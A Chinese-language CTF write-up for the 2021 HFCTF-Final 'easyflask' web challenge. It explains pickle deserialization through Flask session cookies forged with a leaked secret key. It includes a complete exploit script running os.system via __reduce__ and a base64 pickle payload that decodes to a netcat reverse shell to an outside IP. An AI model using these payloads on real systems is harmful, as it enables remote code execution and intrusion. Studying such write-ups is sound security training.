2021 HFCTF-Final web wp

0x01 easyflask

进入网页观察,发现文件读取,读到源码:

#!/usr/bin/python3.6 
import os 
import pickle 
from base64 import b64decode 
from flask import Flask, request, render_template, session 
app = Flask(__name__) 
app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh" 
User = type('User', (object,), {
    'uname': 'test', 
    'is_admin': 0, 
    '__repr__': lambda 
    o: o.uname, 
    })
 
@app.route('/', methods=('GET',)) 
def index_handler(): 
    if not session.get('u'): 
        u = pickle.dumps(User()) 
        session['u'] = u 
    return "/file?file=index.js" 
    
@app.route('/file', methods=('GET',)) 
def file_handler(): 
    path = request.args.get('file') 
    path = os.path.join('static', path) 
    if not os.path.exists(path) or os.path.isdir(path) \
    or '.py' in path or '.sh' in path or '..' in path or "flag" in path: 
        return 'disallowed' 
    with open(path, 'r') as fp: 
        content = fp.read() 
        return content 
    
@app.route('/admin', methods=('GET',)) 
def admin_handler(): 
    try: 
        u = session.get('u') 
        if isinstance(u, dict): 
            u = b64decode(u.get('b')) 
        u = pickle.loads(u) 
    except Exception: 
        return 'uhh?' 
    if u.is_admin == 1: 
        return 'welcome, admin' 
    else: 
        return 'who are you?' 

if __name__ == '__main__': app.run('0.0.0.0', port=80, debug=False)

其中发现了pickle反序列化,但是没有secret_key,去搜索/proc/self/environ目录下发现环境变量secret_key

secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

因而可以伪造session对目标进行pickle反序列化攻击

知识延伸:

pickle反序列化由pickle.dump()pickle.dumps()pickle.load()pickle.loads()进行序列化与反序列化的操作,而由此生成的session结构则为

base64 + '.' + 时间戳 + '.' + 尾部,其中尾部为校验哈希值,base64格式形如:
{"u":{" b":"Y19fYnVpbHRpbl9fCmV2YWwKcDAKKFMiX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ25jIDEwLjEyMi4yMTguMjE1IDY2NjYgLWUgL2Jpbi9zaCcpIgpwMQp0cDIKUnAzCi4="}}

其中b的值为pickle.dumps()处理后的字段值再经过base64加密后得到的结果。

而与php反序列化相似的是,pickle.loads()pickle.load()在进行反序列化时会默认调用函数__reduce__,因而可以覆写类中的__reduce函数产生RCE,如这次payload中的

class User(object):
    def __reduce__(self):
        import os
        cmd = "cat /flag > /tmp/heartless"
        return (os.system,(cmd,))

本题大致思路:

由于根目录无权限读,因而采用__reduce__在最高权限的情况下将flag文件复制至/tmp/heartless目录下进行读取,而/tmp/heartless读取权限则是公开。

exp:

# -*- coding: utf-8 -*-
"""
Created on Tue May 11 17:17:22 2021

@author: 86136
"""


#!/usr/bin/python3.6
import pickle 
import base64
from flask.sessions import SecureCookieSessionInterface
import requests
import re
import pickletools
Secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh" 

url = "http://9d391cae-8dad-40fe-8c4c-55bae82ce64e.node3.buuoj.cn"

class User(object):
    def __reduce__(self):
        import os
        cmd = "cat /flag > /tmp/heartless"
        return (os.system,(cmd,))

class FakeApp:
    secret_key = Secret_key

exp = {
       "b" : base64.b64encode(pickle.dumps(User()))
           }

fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps({'u':exp})
print(cookie)

headers = {
    "Accept":"*/*",
    "Cookie":"session={0}".format(cookie)
    }


req = requests.get(url+"/admin", headers=headers)
print(req.text)

req = requests.get(url+"/file?file=/tmp/heartless", headers=headers)
print(req.text)